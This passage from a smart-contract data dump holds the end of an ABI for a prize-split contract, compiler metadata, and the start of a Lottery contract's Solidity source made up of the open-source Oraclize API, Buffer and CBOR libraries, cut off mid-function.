IControlledToken","name":"token","type":"address"}],"name":"PrizeSplitAwarded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"target","type":"uint256"}],"name":"PrizeSplitRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"target","type":"address"},{"indexed":false,"internalType":"uint16","name":"percentage","type":"uint16"},{"indexed":false,"internalType":"uint256","name":"index","type":"uint256"}],"name":"PrizeSplitSet","type":"event"},{"inputs":[],"name":"ONE_AS_FIXED_POINT_3","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"distribute","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getPrizePool","outputs":[{"internalType":"contract IPrizePool","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_prizeSplitIndex","type":"uint256"}],"name":"getPrizeSplit","outputs":[{"components":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint16","name":"percentage","type":"uint16"}],"internalType":"struct IPrizeSplit.PrizeSplitConfig","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPrizeSplits","outputs":[{"components":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint16","name":"percentage","type":"uint16"}],"internalType":"struct IPrizeSplit.PrizeSplitConfig[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pendingOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint16","name":"percentage","type":"uint16"}],"internalType":"struct IPrizeSplit.PrizeSplitConfig","name":"_prizeSplit","type":"tuple"},{"internalType":"uint8","name":"_prizeSplitIndex","type":"uint8"}],"name":"setPrizeSplit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint16","name":"percentage","type":"uint16"}],"internalType":"struct IPrizeSplit.PrizeSplitConfig[]","name":"_newPrizeSplits","type":"tuple[]"}],"name":"setPrizeSplits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.6+commit.11564f7e
true
2,000
000000000000000000000000e0f4217390221af47855e094f6e112d43c8698fe000000000000000000000000d89a09084555a7d0abe7b111b1f78dfeddd638be
Default
GNU GPLv3
false
Lottery
0x5a6d9fdfef70f1bc669293cd6b0d48e37f2805e2
Solidity
// <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity >= 0.4.1 < 0.5;// Incompatible compiler version... please select one stated within pragma solidity or use different oraclizeAPI version contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } /* Begin solidity-cborutils https://github.com/smartcontractkit/solidity-cborutils MIT License Copyright (c) 2018 SmartContract ChainLink, Ltd. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory buf, uint _capacity) internal constant { uint capacity = _capacity; if(capacity % 32 != 0) capacity += 32 - (capacity % 32); // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory buf, uint capacity) private constant { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private constant returns(uint) { if(a > b) { return a; } return b; } /** * @dev Appends a byte array to the end of the buffer. Resizes if doing so * would exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, bytes data) internal constant returns(buffer memory) { if(data.length + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, data.length) * 2); } uint dest; uint src; uint len = data.length; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Start address = buffer address + buffer length + sizeof(buffer length) dest := add(add(bufptr, buflen), 32) // Update buffer length mstore(bufptr, add(buflen, mload(data))) src := add(data, 32) } // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } /** * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, uint8 data) internal constant { if(buf.buf.length + 1 > buf.capacity) { resize(buf, buf.capacity * 2); } assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) let dest := add(add(bufptr, buflen), 32) mstore8(dest, data) // Update buffer length mstore(bufptr, add(buflen, 1)) } } /** * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function appendInt(buffer memory buf, uint data, uint len) internal constant returns(buffer memory) { if(len + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, len) * 2); } uint mask = 256 ** len - 1; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) + len let dest := add(add(bufptr, buflen), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length mstore(bufptr, add(buflen, len)) } return buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function shl8(uint8 x, uint8 y) private constant returns (uint8) { return x * (2 ** y); } function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private constant { if(value <= 23) { buf.append(uint8(shl8(major, 5) | value)); } else if(value <= 0xFF) { buf.append(uint8(shl8(major, 5) | 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.append(uint8(shl8(major, 5) | 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.append(uint8(shl8(major, 5) | 26)); buf.appendInt(value, 4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.append(uint8(shl8(major, 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private constant { buf.append(uint8(shl8(major, 5) | 31)); } function encodeUInt(Buffer.buffer memory buf, uint value) internal constant { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(Buffer.buffer memory buf, int value) internal constant { if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(Buffer.buffer memory buf, bytes value) internal constant { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeString(Buffer.buffer memory buf, string value) internal constant { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(Buffer.buffer memory buf) internal constant { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory buf) internal constant { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory buf) internal constant { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } /* End solidity-cborutils */ contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Ledger = 0x30; byte constant proofType_Android = 0x40; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0xa2998EFD205FB9D4B4963aFb70778D6354ad3A41)>0){ //goerli testnet OAR = OraclizeAddrResolverI(0xa2998EFD205FB9D4B4963aFb70778D6354ad3A41); oraclize_setNetworkName("eth_goerli"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; 